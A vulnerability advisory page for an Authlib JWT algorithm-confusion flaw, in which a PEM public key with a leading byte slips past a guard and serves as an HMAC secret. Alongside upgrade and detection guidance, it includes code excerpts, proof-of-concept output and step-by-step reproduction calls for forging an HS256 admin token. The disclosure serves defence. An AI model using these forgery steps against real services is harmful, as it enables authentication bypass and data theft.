CVE-2026-114615: Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys
Authlib's authlib.jose lets an attacker forge JWTs signed with HS256 when the verifier holds an RSA or EC public key as PEM text that does not start exactly with the BEGIN line. The attacker needs only the public key. Authlib 1.3.1 through 1.8.0 are affected. Upgrade to authlib 1.9.0, or pin the allowed algorithms.
Published Oct 27, 2026 · Analysis Nov 1, 2026
What an attacker can do
This is an incomplete fix for CVE-2024-37568. OctKey.import_key() blocks public keys from being used as HMAC secrets with raw_key.startswith(POSSIBLE_UNSAFE_KEYS), which only checks byte 0. The cryptography loader used on the asymmetric path scans past leading bytes to the BEGIN line. A PEM public key or certificate with one leading newline, a space, indentation, a UTF-8 BOM or a comment line slips past the guard and becomes the HMAC secret.
The attacker takes the issuer's public key, which is public by design and often served from a JWKS or metadata endpoint. They sign an HS256 token with arbitrary claims, such as an admin role. jwt.decode() accepts it. In the reporter's Flask proof of concept, the forged token returned the admin data.
Two preconditions apply. The app must use the module-level jwt object from authlib.jose, whose decode() has no algorithms parameter and allows both HS and RS/ES/PS/EdDSA algorithms. And the key must be passed as PEM or certificate text with a leading byte, such as a triple-quoted Python string, an indented YAML block or a file with a BOM. The same bytes still verify genuine RS256 tokens, so nothing looks broken. The reporter says joserfc is not affected.
Who is affected
The package data lists authlib >= 1.3.1 and <= 1.8.0 as vulnerable. The report reproduced it on 1.8.0 and on main. You are exposed if you call jwt.decode() from authlib.jose with a PEM public key or X.509 certificate whose text does not begin at byte 0 with the BEGIN header. Code that builds its own JsonWebToken with only asymmetric algorithms is not exposed.
Check the installed version:
pip show authlibauthlib
- Ecosystem
- PyPI
- Affected
- >= 1.3.1, <= 1.8.0
- Fixed in
- 1.9.0
- Check
pip show authlib
How to fix it
Upgrade to authlib 1.9.0.
pip install --upgrade "authlib>=1.9.0"The 1.9.0 release notes point to PR 945, titled as stricter JOSE key, scope and audience validation. They do not describe the OctKey change in detail, so test your token flows after the upgrade.
The advisory also gives a mitigation. Build your own JsonWebToken with only the algorithm you expect, such as JsonWebToken(['RS256']), instead of the module-level jwt. The proof of concept shows that this rejects the forged HS256 token with UnsupportedAlgorithmError. Stripping leading whitespace from stored keys also closes the known bypass forms, but pinning the algorithm is safer.
How to tell if you were hit
Search your code for imports of jwt from authlib.jose and for calls to jwt.decode() with a PEM or certificate key. Check how the key string is stored, in a config file, environment variable or Python literal, and whether it has leading bytes. In logs, look for accepted tokens whose header says alg HS256 on services that should only see RS256 or ES256. Look also for tokens with admin claims from subjects that never logged in through your identity provider.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at byte 0 — while the loader that consumes the identical bytes on the asymmetric path (cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate) skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main (c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level `jwt` object.
from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes no `algorithms` parameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says "This decoding method is insecure. By default jwt.decode parses the alg header. This allows symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with `-----BEGIN `. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:
- one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)bytes.startswith is anchored. The loader on the asymmetric path is not: authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key / load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS\* and RS\*/ES\*/PS\*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a triple-quoted Python literal (hence one leading newline). The attacker is given only that public key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP 200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent, read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it *is* the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check (
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter would let callers of the documented module-level object apply the mitigation the docs recommend without constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
Credited to zer0d4y5.
Questions
- Is every Authlib JWT verifier vulnerable to CVE-2026-114615?
No. The app must use the module-level jwt object, which allows both HS and asymmetric algorithms, and must pass a PEM or certificate key with at least one leading byte. A verifier restricted to RS256 rejects the forged token.
- Does the attacker need a private key or a login?
No. The attacker needs only the issuer's public key, which is public by design. The CVSS vector shows no privileges and no user interaction. Attack complexity is high because the deployment must have the right key formatting.
- Which Authlib version fixes it?
Authlib 1.9.0. Versions 1.3.1 through 1.8.0 are listed as vulnerable. The advisory's fix is in pull request 945.
- Is joserfc affected?
The reporter checked joserfc 1.7.5 and says it is not affected. Its keys carry an explicit type, so an RSA or EC key used with HS256 raises InvalidKeyTypeError.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-114614
Authlib: is_secure_transport() loopback exemption can be bypassed with a userinfo component, allowing cleartext-HTTP URLs to non-loopback hosts
low2.6Oct 27, 2026CVE-2026-114617
Authlib: ID token can disable its own nonce validation via the nonce_supported claim
medium4.2Oct 27, 2026CVE-2026-114618
Authlib: Default JWT bearer grant accepts assertions for the wrong audience
medium6.8Oct 27, 2026CVE-2026-114619
Authlib: OpenID implicit grant checks raw scope instead of allowed scope before issuing ID tokens
medium4.6Oct 27, 2026CVE-2026-114620
Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF
medium5.4Oct 27, 2026CVE-2026-96760
Authlib: empty signatures validation in JWS JSON deserialization
critical9.1Oct 27, 2026
